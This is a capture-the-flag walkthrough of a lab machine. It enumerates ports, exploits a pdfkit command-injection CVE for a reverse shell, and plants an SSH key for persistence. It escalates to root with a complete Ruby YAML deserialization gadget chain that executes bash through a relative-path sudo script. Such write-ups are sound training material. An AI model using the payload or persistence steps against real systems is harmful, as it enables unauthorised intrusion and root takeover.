Enumeration

1
export target=10.129.48.66

Port Scanning

1
rustscan -a $target --ulimit 10000 -g
1
nmap -Pn -sC -sV -n -p22,80 -T5 $target

Add it to the etc/hosts

Web Application

Smells like SSRF or LFI, test it out.

Setup a server:

1
python3 -m http.server 8000

Initial Foothold

Server uses Ruby and pdfkit to convert to PDFs.

pdfkit 0.8.6 has a command injection vulnerability and has a public exploit (https://github.com/UNICORDev/exploit-CVE-2022-25765)

Exploit gives us a reverse shell:

I’ve added my ssh key to .ssh

1
2
# KALI
ssh-keygen -t ed25519 -f ~/.ssh/persist -N "" # If target is old: -t rsa -b 4096
1
cat ~/.ssh/persist.pub

Prepare .ssh dir

1
2
3
# TARGET
mkdir -p ~/.ssh
chmod 700 ~/.ssh
1
2
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIxxxxxxxxxxxxxxxxxxxxxxxxx attacker@kali" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
1
2
chmod 700 ~/.ssh                    # home/.ssh
chmod 600 ~/.ssh/authorized_keys    # authorized_keys dosyası

Then log in via ssh -i

Find txt files

1
find /home/* -type f -name "*.txt" -o ! -name "*.*"

1
Q3c1AqGHtoI0aXAYFH

Log in as henry:

Got user flag

Privilege Escalation

1
sudo -l

We can run this script as root

While looking for a yml related privilege escalation, I came across this PoC (https://gist.github.com/staaldraad/89dffe369e1454eedd3306edc8a7e565)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: id
         method_id: :resolve

Our script loads the dependencies.yml but uses a relative path. So we can create our dependencies.yml file and the script would use it

1
2
3
def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

Create the dependencies.yml on our home directory:

1
2
3
cd ~

nano dependencies.yml

Change the id command to bash so we can have a root shell:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: bash
         method_id: :resolve

Execute the script:

1
sudo ruby /opt/update_dependencies.rb

And we have a root shell:

Key Takeaways

  • Identify the libraries and versions used by the web application (Wappalyzer, response headers); known CVEs in libraries like pdfkit can give you RCE.
  • In scripts runnable via sudo, if file reading uses a relative path (File.read("file.yml")), create a same-named file in your directory to control its content.
  • Recognize Ruby YAML deserialization vulnerabilities; scripts using YAML.load() can be exploited with a gadget chain for direct command execution.